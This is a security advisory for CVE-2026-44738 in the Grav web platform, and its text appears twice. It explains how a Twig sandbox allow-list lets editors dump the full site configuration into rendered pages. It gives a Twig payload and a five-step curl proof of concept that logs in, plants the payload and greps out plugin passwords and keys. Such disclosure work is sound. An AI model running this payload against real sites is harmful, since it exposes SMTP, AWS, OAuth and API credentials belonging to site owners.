CVE-2026-44738

Grav is a file-based Web platform. Prior to 2.0.0-rc.2, the Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required. This vulnerability is fixed in 2.0.0-rc.2.

Grav is a file-based Web platform. Prior to 2.0.0-rc.2, the Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required. This vulnerability is fixed in 2.0.0-rc.2.

Summary

The Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.

Details

The Twig sandbox allow-list in system/config/security.yaml explicitly permits Config::toArray() for the Grav\Common\Config\Config class:

- class: 'Grav\Common\Config\Config'
  methods: 'get, toarray, value, default, offsetget, offsetexists'

The config object — which holds the full merged configuration tree including every key under plugins.* — is injected into every sandboxed render in system/src/Grav/Common/Twig/Twig.php (line 292):

$twig_vars = [..., 'config' => $config, ...]

Any editor with admin.pages can save a page with process.twig: true in the frontmatter and the following payload in the body:

{{ config.toArray()|json_encode|raw }}

When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under user/config/plugins/*.yaml.

PoC

# Step 1 — Get login nonce
NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \
  | grep -oP '(?<=name="login-nonce" value=")[^"]+')

# Step 2 — Login as editor (no admin.super)
curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \
  -X POST http://TARGET/admin \
  --data-urlencode "data[username]=EDITOR_USER" \
  --data-urlencode "data[password]=EDITOR_PASS" \
  --data-urlencode "task=login" \
  --data-urlencode "login-nonce=${NONCE}" -o /dev/null

# Step 3 — Get admin nonce
ADMIN_NONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \
  | grep -oP '(?<=admin-nonce" value=")[^"]+' | head -1)

# Step 4 — Save page with process.twig:true and payload
curl -s -b /tmp/cookies.txt \
  -X POST http://TARGET/admin/pages/poc \
  --data-urlencode "admin-nonce=${ADMIN_NONCE}" \
  --data-urlencode "task=save" \
  --data-urlencode "data[frontmatter]=title: poc
process:
    twig: true
published: true" \
  --data-urlencode "data[content]={{ config.toArray()|json_encode|raw }}" \
  --data-urlencode "data[folder]=poc" \
  --data-urlencode "data[route]=/" \
  --data-urlencode "data[name]=default" -o /dev/null

# Step 5 — Retrieve secrets from rendered page
curl -s http://TARGET/poc | grep -o '"password":"[^"]*"'

Impact

Any user with the editor role (admin.pages) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.

Grav is a file-based Web platform. Prior to 2.0.0-rc.2, the Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required. This vulnerability is fixed in 2.0.0-rc.2.

Grav is a file-based Web platform. Prior to 2.0.0-rc.2, the Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required. This vulnerability is fixed in 2.0.0-rc.2.

Summary

The Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.

Details

The Twig sandbox allow-list in system/config/security.yaml explicitly permits Config::toArray() for the Grav\Common\Config\Config class:

- class: 'Grav\Common\Config\Config'
  methods: 'get, toarray, value, default, offsetget, offsetexists'

The config object — which holds the full merged configuration tree including every key under plugins.* — is injected into every sandboxed render in system/src/Grav/Common/Twig/Twig.php (line 292):

$twig_vars = [..., 'config' => $config, ...]

Any editor with admin.pages can save a page with process.twig: true in the frontmatter and the following payload in the body:

{{ config.toArray()|json_encode|raw }}

When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under user/config/plugins/*.yaml.

PoC

# Step 1 — Get login nonce
NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \
  | grep -oP '(?<=name="login-nonce" value=")[^"]+')

# Step 2 — Login as editor (no admin.super)
curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \
  -X POST http://TARGET/admin \
  --data-urlencode "data[username]=EDITOR_USER" \
  --data-urlencode "data[password]=EDITOR_PASS" \
  --data-urlencode "task=login" \
  --data-urlencode "login-nonce=${NONCE}" -o /dev/null

# Step 3 — Get admin nonce
ADMIN_NONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \
  | grep -oP '(?<=admin-nonce" value=")[^"]+' | head -1)

# Step 4 — Save page with process.twig:true and payload
curl -s -b /tmp/cookies.txt \
  -X POST http://TARGET/admin/pages/poc \
  --data-urlencode "admin-nonce=${ADMIN_NONCE}" \
  --data-urlencode "task=save" \
  --data-urlencode "data[frontmatter]=title: poc
process:
    twig: true
published: true" \
  --data-urlencode "data[content]={{ config.toArray()|json_encode|raw }}" \
  --data-urlencode "data[folder]=poc" \
  --data-urlencode "data[route]=/" \
  --data-urlencode "data[name]=default" -o /dev/null

# Step 5 — Retrieve secrets from rendered page
curl -s http://TARGET/poc | grep -o '"password":"[^"]*"'

Impact

Any user with the editor role (admin.pages) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.